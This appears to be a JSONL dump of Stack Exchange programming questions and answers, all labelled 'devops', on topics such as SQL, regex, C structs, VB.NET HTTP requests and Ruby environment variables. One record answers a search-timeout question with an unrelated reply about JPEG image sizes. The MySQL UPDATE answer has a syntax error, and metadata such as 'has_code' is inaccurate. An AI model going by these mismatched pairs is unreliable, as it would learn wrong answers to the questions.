{"id": "hf_942753849bc2", "question": "<p>I have never seen a way to do this nicely, i would be interested in seeing how others do it.  Currently i format it like this:</p>\n\n<pre><code>public Booking createVehicleBooking(Long officeId, \n                                    Long start, \n                                    Long end,\n                                    String origin, \n                                    String destination, \n                                    String purpose,         \n                                    String requirements, \n                                    Integer numberOfPassengers) throws ServiceException {\n/*..Code..*/\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\npublic Booking createVehicleBooking(\n    Long officeId, \n    Long start, \n    Long end,\n    String origin, \n    String destination, \n    String purpose,                 \n    String requirements, \n    Integer numberOfPassengers)\n\nthrows ServiceException {\n/*..Code..*/\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.080139"}
{"id": "hf_ead9ebc3a51d", "question": "<p>I'm looking for tools that implement the distributed agent/service model ... I guess we could also call this grid or cloud computing, but I'm not sure the term is exactly analagous.  A distributed agent model would be one where developers build agents that are dispatched to a framework and the framework executes the agent somewhere in the distributed environment.</p>\n\n<p>Specifically, I'm looking for a framework that support dynamic distribution across the grid/cloud, but replaces the transient agent with a more persistent service.  The goal here is to minimize the amount of time and effort it requires to deploy a service into the grid/cloud container.</p>\n\n<p>FWIW, I think Digipede gets pretty close to this, but I'm interested in what else is out there.  I'm under the impression that assembly distribution would have to be considered in order for the solution to be viable.</p>\n", "question_body": "", "answer": "There's a project at Microsoft called Dryad. Here's a good podcast with more info:\nhttp://www.dotnetrocks.com/default.aspx?showNum=378\nIt uses LINQ and is supposed to be easy to use. Microsoft has it doing some production stuff for Microsoft's AdCenter.\nHere's the research page.\nhttp://research.microsoft.com/research/sv/Dryad/\nDryad is quite expressive. It completely subsumes other computation frameworks, such as Google's map-reduce, or the relational algebra. Moreover, Dryad handles job creation and management, resource management, job monitoring and visualization, fault tolerance, re-execution, scheduling, and accounting.\nP.S. I don't see a download, but if you contact them and you are serious you could probably get it.\nUpdate: it's now available for download here:\nhttp://research.microsoft.com/en-us/downloads/03960cab-bb92-4c5c-be23-ce51aee0792c/default.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.140072"}
{"id": "hf_b39526536641", "question": "<p>Our company is considering upgrading our SQL server. </p>\n\n<p>At this point, would it be better to upgrade to 2005 or 2008?</p>\n\n<p>Here are some of my considerations:</p>\n\n<ul>\n<li>Features</li>\n<li>Licensing costs</li>\n<li>Learning curve</li>\n</ul>\n\n<p>Bear in mind our staff has already been using SQL server 2000 for many years.</p>\n", "question_body": "", "answer": "2005 is already quite different from 2000, at least in best practices, as a number of things like error handling are greatly improved.  As far as learning curve is concerned, if you're going to throw the learning curveball at them anyway, they're probably better off learning the new technology rather than the one that is already a few years old.\nBeyond that though, it's difficult to comment on new features without you providing any info on what kind of work your company does.  One thing I'm very excited about in SQL 2008 is the geospatial data type that I wish had come out a few months prior (perhaps, the initial planned release date) as they would have made our huge mapping application much easier...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.175999"}
{"id": "hf_04e7d5df839a", "question": "<p>What is the <a href=\"http://en.wikipedia.org/wiki/MIME\" rel=\"noreferrer\">MIME</a> type of javascript? </p>\n\n<p>More specifically, what is the right thing to put in the \"type\" attribute of a script tag? <code>application/x-javascript</code> and <code>text/javascript</code> seem to be the main contenders.</p>\n", "question_body": "", "answer": "In a script tag I would use text/javascript.   This appears in the HTML 4.0 specification, anyway.\nhttp://www.w3.org/TR/REC-html40/interact/scripts.html\n[EDIT] Funny how the\nRFC\nthat standardized on application/javascript is 2 years old, but text/javascript is still more common.  Is this yet another case of custom triumphing over standards?  It also appears in\nHTML5\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.199064"}
{"id": "hf_f742f0a70393", "question": "<p>Which would be a neat implemenation of a N-ary tree in C language?</p>\n\n<p>Particulary, I want to implement an n-ary tree, not self-ballancing, with an unbound number of children in each node, in which each node holds an already defined struct, like this for example:</p>\n\n<pre><code>struct task {\n  char command[MAX_LENGTH];\n  int required_time;\n};\n</code></pre>\n", "question_body": "", "answer": "As a first pass, you could simply create a\nstruct\n(let's call it\nTreeNode\n) which holds a\ntask\n, as well as a set of pointers to\nTreeNode\ns.  This set could either be an array (if\nN\nis fixed) or a linked list (if\nN\nis variable).  The linked list would require you to declare an additional\nstruct\n(let's called it\nListNode\n) with a\nTreeNode\npointer to the actual child (part of the tree), and a pointer to the next\nListNode\nin the list (\nnull\nif at the end of the list).\nIt might look something like this:\n```\n```\nstruct task {\n  char command[MAX_LENGTH];\n  int required_time;\n};\n\nstruct TreeNode;\n\nstruct ListNode {\n  struct TreeNode * child;\n  struct ListNode * next;\n};\n\nstruct TreeNode {\n  struct task myTask;\n  struct ListNode myChildList;\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.247379"}
{"id": "hf_871dd3def14d", "question": "<p>I understand that we can use SMS Sender in command line mode. But i been getting this error same as this article <a href=\"http://www.oreillynet.com/pub/a/wireless/2003/10/10/sms.html\" rel=\"nofollow noreferrer\">http://www.oreillynet.com/pub/a/wireless/2003/10/10/sms.html</a></p>\n\n<p>The smssender.exe will use the last device that was successfully used to send messages in the Windows version of SMS Sender. But I tried it many times, and smssender.exe always complains that no last device was used. </p>\n\n<p>Anyone have any idea about this?</p>\n", "question_body": "", "answer": "Not a direct answer to your question, but might help..\nTake a look at some of the sms gateway services out there.\nI've used Kapow with a lot of success.\nhttp://www.kapow.co.uk/\nIt's a UK company, but I'm sure you find one in your country.\nMost services provide a nice easy to use web api and give you good reporting on delivery, etc. They usually don't come for free, but are comparable to your standard mobile rates for low volume and pretty cheap for higher volumes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.294773"}
{"id": "hf_4d6055ea1feb", "question": "<p>I'm looking for a regex that will allow me to validate whether or not a string is the reference to a website address, or a specific page in that website. </p>\n\n<p>So it would match:</p>\n\n<pre><code>http://google.com\nftp://google.com\nhttp://google.com/\nhttp://lots.of.subdomains.google.com\n</code></pre>\n\n<p>But not:</p>\n\n<pre><code>http://google.com/search.whatever\nftp://google.com/search.whatever\nhttp://lots.of.subdomains.google.com/search.whatever\n</code></pre>\n\n<p>Any ideas? I can't quite figure out how to handle allowing the <code>/</code> at the end of the URL.</p>\n", "question_body": "", "answer": "Try this:\n```\n```\n(http|ftp|https)://([a-zA-Z0-9\\-\\.]+)/?\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.318636"}
{"id": "hf_982589e3170f", "question": "<p>is there an if statement when it comes to mysql query statements?</p>\n\n<p>when i am updating a table record, i want to only update certain columns if they have a value to be updated.</p>\n\n<p>for example, i want an update table function, and there is a table for volunteers and a table for people who just want email updates.</p>\n\n<p>i want to use the same function (there will be a function that only deals w/ the upd queries) and is it possible to do this in theory...</p>\n\n<p>if you are updating volunteer table, only update these columns, if mailing_list, then update these</p>\n\n<p>i know this can by done using an if statement w/ two query statements, based on what table you're updating, but i am wondering is it possible to use only one query statement w/ the conditionals in it to update the appropriate columns in the table.</p>\n\n<p>this may sound like something you would dream about, let me know.</p>\n\n<p>thanks.</p>\n", "question_body": "", "answer": "I think this should work:\n```\n```\nUPDATE volunteer, people\nSET volunteer.email = 'me@email.com',\n    people.email = 'other@gmail.com',\n    people.first_name = 'first',\nWHERE people.id = 2 AND volunteer.id = 5;\n```\n```\nI got this from the\nupdate syntax\non the MySQL website.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.342631"}
{"id": "hf_cefa8d151632", "question": "<p>I'm trying to port an old library (that doesn't use namespaces as far as I can tell) to modern compilers. One of my targets can't tell the difference between System::TObject and ::TObject (without a namespace). System::TObject is native to the compiler.</p>\n\n<p>I've tried a using directive, i.e. using ::TObject;</p>\n\n<p>But that doesn't do it.</p>\n\n<p>The obvious solution is to wrap all the original library in a namespace and then calling it by name- that should avoid the ambiguity. But is that the wisest solution? Is there any other solution? Adding a namespace would require changing a bunch of files and I don't know if it would have unwanted repercussions later.</p>\n", "question_body": "", "answer": "If you have the source to the library, maybe include a header file at the top of each source where that header file has only:\n```\n```\n#define TObject TMadeUpNameObject\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.431085"}
{"id": "hf_c2aab9c669e6", "question": "<p>I need to store the user's password in my iphone app. </p>\n\n<p>When posting an app to the app store, I have to tell Apple if there's encryption in the app for export purposes.</p>\n\n<p>I don't want my app to be restricted to US only, but I also don't want to store or send passwords over the net in clear text.</p>\n\n<p>So basically the question is, can I encrypt passwords in a way that will not get my app restricted?</p>\n", "question_body": "", "answer": "First, if the user name and password are encrypted and decrypted on the phone, then the decryption key is obviously also on the phone and pretty much worthless. I wouldn't worry about storing user names and passwords encrypted on the phone.\nFor secure communication, you should use SSL which is probably in a library that is already on the phone. If you use a library that is part of the phone OS, I don't think that means your app \"contains encryption\".\nOf course, I am not a lawyer. Who knows - the law might consider \"pig latin\" a valid encryption technology.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.454650"}
{"id": "hf_c3bb474bb976", "question": "<p>I'm trying to convert some code that worked great in VB, but I can't figure out what objects to use in .Net.  </p>\n\n<pre><code>    Dim oXMLHttp As XMLHTTP\n    oXMLHttp = New XMLHTTP\n    oXMLHttp.open \"POST\", \"https://www.server.com/path\", False\n    oXMLHttp.setRequestHeader \"Content-Type\", \"application/x-www-form-urlencoded\"\n    oXMLHttp.send requestString \n</code></pre>\n\n<p>Basically, I want to send an XML file to a server, then store the response that it returns.  Can anyone point me in the right direction on this?  </p>\n", "question_body": "", "answer": "See the following for a sample which does this:\nhttp://www.codeproject.com/KB/dotnet/NET_Interact_j2EE.aspx\nI have put the sample below. Sorry, I know it's big, but you never know how long links like this will stay valid. \nNOTE: the first version of the question didn't say in C# .NET - it just said \"in .NET\". (perhaps it was tagged C# and I didn't see it) Converting from VB.NET to C# is pretty easy (though unnecessary).\n'This class is representing the same functionality of xmlHTTP object in MSXML.XMLHTTP.\n```\n```\nImports System.Net\nImports System.Web.HttpUtility\n\nPublic Class XMLHTTP\n'Makes an internet connection to specified URL \n   Public Overridable Sub open(ByVal bstrMethod As String, _\n     ByVal bstrUrl As String, Optional ByVal varAsync As _\n     Object = False, Optional ByVal bstrUser _\n     As Object = \"\", Optional ByVal bstrPassword As Object = \"\")\n       Try\n           strUrl = bstrUrl\n           strMethod = bstrMethod\n\n           'Checking if proxy configuration \n           'is required...(blnIsProxy value \n           'from config file)\n           If blnIsProxy Then\n           'Set the proxy object\n               proxyObject = WebProxy.GetDefaultProxy()\n\n               'Finding if proxy exists and if so set \n               'the proxy configuration parameters...\n               If Not (IsNothing(proxyObject.Address)) Then\n                   uriAddress = proxyObject.Address\n                   If Not (IsNothing(uriAddress)) Then\n                       _ProxyName = uriAddress.Host\n                       _ProxyPort = uriAddress.Port\n                   End If\n                   UpdateProxy()\n               End If\n               urlWebRequest.Proxy = proxyObject\n           End If\n\n           'Make the webRequest...\n           urlWebRequest = System.Net.HttpWebRequest.Create(strUrl)\n           urlWebRequest.Method = strMethod\n\n           If (strMethod = \"POST\") Then\n               setRequestHeader(\"Content-Type\", _\n                   \"application/x-www-form-urlencoded\")\n           End If\n\n           'Add the cookie values of jessionid of weblogic \n           'and PH-Session value of webseal \n           'for retaining the same session\n           urlWebRequest.Headers.Add(\"Cookie\", str_g_cookieval)\n\n       Catch exp As Exception\n           SetErrStatusText(\"Error opening method level url connection\")\n       End Try\n   End Sub\n   'Sends the request with post parameters...\n   Public Overridable Sub Send(Optional ByVal objBody As Object = \"\")\n       Try\n           Dim rspResult As System.Net.HttpWebResponse\n           Dim strmRequestStream As System.IO.Stream\n           Dim strmReceiveStream As System.IO.Stream\n           Dim encode As System.Text.Encoding\n           Dim sr As System.IO.StreamReader\n           Dim bytBytes() As Byte\n           Dim UrlEncoded As New System.Text.StringBuilder\n           Dim reserved() As Char = {ChrW(63), ChrW(61), ChrW(38)}\n           urlWebRequest.Expect = Nothing\n           If (strMethod = \"POST\") Then\n               If objBody <> Nothing Then\n                   Dim intICounter As Integer = 0\n                   Dim intJCounter As Integer = 0\n                   While intICounter < objBody.Length\n                     intJCounter = _\n                       objBody.IndexOfAny(reserved, intICounter)\n                     If intJCounter = -1 Then\nUrlEncoded.Append(System.Web.HttpUtility.UrlEncode(objBody.Substring(intICounter, _\n                                                    objBody.Length - intICounter)))\n                       Exit While\n                     End If\nUrlEncoded.Append(System.Web.HttpUtility.UrlEncode(objBody.Substring(intICounter, _\n                                                        intJCounter - intICounter)))\n                     UrlEncoded.Append(objBody.Substring(intJCounter, 1))\n                     intICounter = intJCounter + 1\n                   End While\n\n                   bytBytes = _\n                     System.Text.Encoding.UTF8.GetBytes(UrlEncoded.ToString())\n                   urlWebRequest.ContentLength = bytBytes.Length\n                   strmRequestStream = urlWebRequest.GetRequestStream\n                   strmRequestStream.Write(bytBytes, 0, bytBytes.Length)\n                   strmRequestStream.Close()\n                Else\n                    urlWebRequest.ContentLength = 0\n               End If\n           End If\n           rspResult = urlWebRequest.GetResponse()\n           strmReceiveStream = rspResult.GetResponseStream()\n           encode = System.Text.Encoding.GetEncoding(\"utf-8\")\n           sr = New System.IO.StreamReader(strmReceiveStream, encode)\n\n           Dim read(256) As Char\n           Dim count As Integer = sr.Read(read, 0, 256)\n           Do While count > 0\n               Dim str As String = New String(read, 0, count)\n               strResponseText = strResponseText & str\n               count = sr.Read(read, 0, 256)\n           Loop\n       Catch exp As Exception\n           SetErrStatusText(\"Error while sending parameters\")\n           WritetoLog(exp.ToString)\n       End Try\n   End Sub\n   'Setting header values...\n   Public Overridable Sub setRequestHeader(ByVal bstrHeader _\n                         As String, ByVal bstrValue As String)\n       Select Case bstrHeader\n            Case \"Referer\"\n                urlWebRequest.Referer = bstrValue\n            Case \"User-Agent\"\n                urlWebRequest.UserAgent = bstrValue\n            Case \"Content-Type\"\n                urlWebRequest.ContentType = bstrValue\n            Case Else\n                urlWebRequest.Headers(bstrHeader) = bstrValue\n       End Select\n   End Sub\n\n   Private Function UpdateProxy()\n       Try\n           If Not (IsNothing(uriAddress)) Then\n               If ((Not IsNothing(_ProxyName)) And _\n                 (_ProxyName.Length > 0) And (_ProxyPort > 0)) Then\n                   proxyObject = New WebProxy(_ProxyName, _ProxyPort)\n                   Dim strByPass() As String = Split(strByPassList, \"|\")\n                   If strByPass.Length > 0 Then\n                       proxyObject.BypassList = strByPass\n                   End If\n                   proxyObject.BypassProxyOnLocal = True\n                   If blnNetworkCredentials Then\n                       If strDomain <> \"\" Then\n                           proxyObject.Credentials = New _\n                             NetworkCredential(strUserName, _\n                             strPwd, strDomain)\n                       Else\n                            proxyObject.Credentials = New _\n                              NetworkCredential(strUserName, _\n                              strPwd)\n                       End If\n                   End If\n               End If\n           End If\n       Catch exp As Exception\n           SetErrStatusText(\"Error while updating proxy configurations\")\n           WritetoLog(exp.ToString)\n       End Try\n   End Function\n   'Property for setting the Responsetext\n   Public Overridable ReadOnly Property ResponseText() As String\n       Get\n           ResponseText = strResponseText\n       End Get\n   End Property\n\n   Private urlWebRequest As System.Net.HttpWebRequest\n   Private urlWebResponse As System.Net.HttpWebResponse\n   Private strResponseText As String\n   Private strUrl As String\n   Private strMethod As String\n   Private proxyObject As WebProxy\n   Private intCount As Integer\n   Private uriAddress As Uri\n   Private _ProxyName As String\n   Private _ProxyPort As Integer\nEnd Class\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.478744"}
{"id": "hf_275e8d544098", "question": "<p>Have a n-tire web application and search often times out after 30 secs.  How to detect the root cause of the problem?</p>\n", "question_body": "", "answer": "A simple solution:\nEncode the image as a\njpeg\nand look for a substantial change in\nfilesize\n.\nI've implemented something similar with video thumbnails, and had a lot of success and scalability.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.515492"}
{"id": "hf_4c7288d52084", "question": "<p>I'm making a simple 2D game for the iPhone. It's based on CrashLanding. so it's basically a background texture and a few rectangular textures moving around.  </p>\n\n<p>I have this bizarre little graphics problem:  some of the small 2d items (can assume just rectangles) moving around get this little flashing black bar on top of them (the background texture is almost completely white so the little bar is noticable).</p>\n\n<p>The textures I'm using are small (~1Kb) pngs.</p>\n\n<p>Has anyone else run into this? Is this a common openGL issue?</p>\n\n<p>BTW this happens on both the simulator and the actual device.</p>\n", "question_body": "", "answer": "Do you have a thing like that little black bar in your textures?\nI've encountered similar problems when I have done something wrong. Here's a small check-list:\nHave you have mipmapped your texture or not, and check what parameters does it have.\nglTexParameters. (WRAP_S, WRAP_T, MAG_FILTER, MIN_FILTER...)\ntexture's dimensions. (If there's non-power-of-two -textures allowed, it may cause graphic glitches, depending about how you load your textures)\nAre you are drawing that flashing bar on top of your rectangles?\nWhether there's something that's causing the black bar, in your texture.\nAlignment of the animation frames.\nBlending and alpha-blending.\nIf something in the list is vague for you, it's good exercise to read about them.\nI also do a good guess: I believe you aren't wrapping your textures in any direction, and that the animation frames are a bit misaligned, so that your application has a bit wrong texture coordinates/height in the quad you are drawing.\nI hope my advices make sense. I have only experience with the usual opengl, not the OpenGL ES that's graphics pipelines have been pruned to make it more compact, cleaner and more elegant.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.563689"}
{"id": "hf_b30991ca60c2", "question": "<p>I want to put Apache 2.2.9 in front of a Weblogic 9.2 server on Windows XP. What does it take to do that ?<br></p>\n\n<p>I probably need mod_proxy on the apache side ? <br></p>\n\n<p>As far as Weblogic and apache are concerned, is there something similar to mod_jk ?<br></p>\n\n<p>I would like this setup so that I can introduce some filtering later on. But for now, the goal is to allow other computers to access weblogic appserver so that Apache forwards all requests coming to it (at a certain URL) to Weblogic.</p>\n\n<p>I have done this several times earlier BUT have forgotten how I did it.</p>\n\n<p>Thanks for any pointers,</p>\n\n<hr>\n\n<p>I guess <a href=\"http://e-docs.bea.com/wls/docs81/plugins/apache.html\" rel=\"nofollow noreferrer\">http://e-docs.bea.com/wls/docs81/plugins/apache.html</a> answers most of the basic fundas. Will update the forum if I have more inputs.</p>\n", "question_body": "", "answer": "We used the WebLogic plugin to load balance and front our applicatiosn, using virtual hosts and locations.\nFor example:\nServerName www.domain.com\nWebLogicCluster 10.20.30.41:7002,10.20.30.42:7002\n    SetHandler weblogic-handler\nThis config will balance requests to\nhttp://www.domain.com/PathToApplication\nto 10.20.30.41:7002 and 10.20.30.42:7002.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.587593"}
{"id": "hf_8295caee2c42", "question": "<p>I've studied C programming in college some years ago and have developed some medium applications back then (nothing serious). Now I have to develop some more 'advanced' C applications (involving POSIX threads and RPC), but right now I'm a little rusty even with the basics.</p>\n\n<p>Can anyone recommend me good online C reference manuals? This may help me get in tune faster.</p>\n", "question_body": "", "answer": "C standard library reference (both C89 and C99)\nC89 library reference guide\nGNU C tutorial\n(more than just a tutorial, quite a useful reference)\nI got these all from a previous similar question on SO.  I would like to credit the original posters, but unfortunately cannot seem to find that question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.637242"}
{"id": "hf_9ffb7c8950f2", "question": "<p>If I have no connection to internet, does that mean I can't start <strong>IDLE</strong> (which comes with <strong>python 3.0</strong>)?</p>\n", "question_body": "", "answer": "IDLE displays a warning message about firewall programs because it connects to the interpreter over the loopback interface, but that interface is always \"connected\" and doesn't require you to be on the Internet.\nIf IDLE isn't working for you with Python 3.0, you might consult\nPython issue3628\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.778471"}
{"id": "hf_a77127da2514", "question": "<p>I need to generate random numbers in the range 1 - 10000 continuously with out duplication. \nAny recommendations?</p>\n\n<p>Description: we are building a new version for our application, which maintains records in Sqlite DB. in the last version of our application, we did not had unique key for each record. But now with new upgraded version, we need to support the import facility from the last version's DB. So what we do is, we read each and every record from the old DB and generate a random number for the unique key and store it in new DB. Here we many need to import up to 10000 records continuously.</p>\n", "question_body": "", "answer": "Well, eventually you'll either have to stop generating them, or you're going to star duplicating them.\nOn a computer your options are pretty limited to Pseudo Random Number Generators (PRNGs), and given your constraint that they never repeat then a PRNG is your best option - real random data will occasionally duplicate a number.\nIn your case, I'd consider using a large PRNG (32 bit or larger) to shuffle your 10,000 numbers, and then send the numbers out in the shuffled order.\nOnce they're used up you can shuffle again - since the PRNG is so large you'll be able to go through the 10k numbers many times before duplicating a sequence.\nGive us more information about what your doing and we may come up with a better answer.\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.802511"}
{"id": "hf_b35cb77b865f", "question": "<p>I know it's a long shot, but is there some package or means to insert emoticons into a LaTeX document?</p>\n", "question_body": "", "answer": "Unicode's \"miscellaneous symbols\" include 3 simple emoticons:\n```\n0x2639\n```\n-\n```\n0x263B\n```\n. You can possibly use\n```\n0x2686\n```\n-\n```\n0x2689\n```\nas well.\nFor more variation you are going to need to use images and include them somehow.\nI am curious as to the circumstances which lead to this question :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.836982"}
{"id": "hf_40dcd5d50666", "question": "<p>I am trying to set my DOS environment variable in Ruby, and have it persist after the script exits. For example, if I want a ruby script <code>set_abc_env.rb</code> to set environment variable 'ABC' to 'blah', I expect to run the following:</p>\n\n<pre><code>C:&gt; echo %ABC%\nC:&gt; set_abc_env.rb\nC:&gt; echo %ABC% blah\n</code></pre>\n\n<p>How do I do this?</p>\n", "question_body": "", "answer": "You can access environment variables via Ruby ENV object:\n```\n```\ni = ENV['ABC']; # nil\nENV['ABC'] = '123';\ni = ENV['ABC']; # '123'\n```\n```\nBad news is, as MSDN\nsays\n, a process can never directly change the environment variables of another process that is not a child of that process. So when script exits, you lose all changes it did.\nGood news is what Microsoft Windows stores environment variables in the registry and it's possible to\npropagate\nenvironment variables to the system. This is a way to modify user environment variables:\n```\n```\nrequire 'win32/registry.rb'\n\nWin32::Registry::HKEY_CURRENT_USER.open('Environment', Win32::Registry::KEY_WRITE) do |reg|\n  reg['ABC'] = '123'\nend\n```\n```\nThe documentation also says you should log off and log back on or broadcast a WM_SETTINGCHANGE message to make changes seen to applications. This is how broadcasting can be done in Ruby:\n```\n```\nrequire 'Win32API'  \n\nSendMessageTimeout = Win32API.new('user32', 'SendMessageTimeout', 'LLLPLLP', 'L') \nHWND_BROADCAST = 0xffff\nWM_SETTINGCHANGE = 0x001A\nSMTO_ABORTIFHUNG = 2\nresult = 0\nSendMessageTimeout.call(HWND_BROADCAST, WM_SETTINGCHANGE, 0, 'Environment', SMTO_ABORTIFHUNG, 5000, result)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.911092"}
{"id": "hf_fd3d7d43ed33", "question": "<p>I need to do a lot of searches of certain patterns in source files while the user is changing them, so I need to do regexp matching that is efficient in time and memory. The pattern repeats itself so should be compiled once, but I need to be able to retrieve subparts (rather than just confirm a match)</p>\n\n<p>I'm considering using java.util.regexp or the Jakarta perl5util (if it still exists, been a few years since I used it), or perhaps the Eclipse search engine though I doubt that ti's smarter. </p>\n\n<p>Is there any significant performance difference between the two?</p>\n", "question_body": "", "answer": "I am not sure there is a huge performance gap in term of the different regexp java engines.\nBut there sure is a performance issue when constructing a regexp (and that is, if the data is large enough, as\nnoted by Jeff Atwood\n)\nThe only thing you should avoid is\ncatastrophic backtracking\n, better avoided when using\natomic grouping\n.\nSo, by default I would use the java.utils.regexp engine, unless you have specific perl-compliant sources of regexp you need to reuse in your program.\nThen I would carefully construct the regexp I intend to use.\nBut in term of choosing one engine or another... as it\nhas been\nsaid\nin\nmany\nother questions\n...:\n\"make it work, make it fast - in that order\"\nbeware of \"premature optimization\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:20.997110"}
{"id": "hf_175a7d91f9a7", "question": "<p>I have found no way of dumping the stack on all threads in .NET. Neither a signal to be send to the process nor programatic access to all the threads. I can only get access to the current thread via Thread.CurrentThread.</p>\n\n<p>Any tricks ?</p>\n", "question_body": "", "answer": "There is a variety of handy classes in the System.Diagnostics that can help you with debugging and gathering various tracking information, i.e. StackTrace.\nThere is a wonky Process class that can be used to get the number of executing threads but very few details. Use the following Snippet:\n```\n```\nUsing  System.Diagnostics;\n\nvar threads = Process.GetCurrentProcess().Threads;\n```\n```\nOkay after looking a little bit more it appears the easiest way to capture all the current stacks is through a mini dump and a tool like\nSOS\nor if you are running vista\nthis\n.\nGood luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:21.069837"}
{"id": "hf_9d586dc383f5", "question": "<p>I have a multi-table query, similar to this (simplified version)</p>\n\n<pre><code>SELECT columns, count(table2.rev_id) As rev_count, sum(table2.rev_rating) As sum_rev_rating \nFROM table1\nLEFT JOIN table2\nON table1.dom_id = table2.rev_domain_from \nWHERE dom_lastreview != 0 AND rev_status = 1 \nGROUP BY dom_url \nORDER BY sum_rev_rating/rev_count DESC\n</code></pre>\n\n<p>The problem is in the <code>ORDER BY</code> clause. This causes a MySQL error to show, which is as follows:</p>\n\n<blockquote>\n  <p>Reference 'sum_ rev_ rating' not supported (reference to group function)</p>\n</blockquote>\n", "question_body": "", "answer": "my mysql is rusty; you might try\n```\n```\nSELECT columns, count(table2.rev_id) As rev_count, \n    sum(table2.rev_rating) As sum_rev_rating,\n    sum(table2.rev_rating)/count(table2.rev_id) as rev_ratio\nFROM table1\n    LEFT JOIN table2ON table1.dom_id = table2.rev_domain_from \nWHERE dom_lastreview != 0 \nAND rev_status = 1 \nGROUP BY dom_url \nORDER BY rev_Ratio DESC\n```\n```\nor\n```\n```\nSELECT * from (\n    SELECT columns, count(table2.rev_id) As rev_count, \n        sum(table2.rev_rating) As sum_rev_rating \n    FROM table1\n        LEFT JOIN table2ON table1.dom_id = table2.rev_domain_from \n    WHERE dom_lastreview != 0 \n    AND rev_status = 1 \n    GROUP BY dom_url \n) X\nORDER BY X.sum_rev_rating/X.rev_count 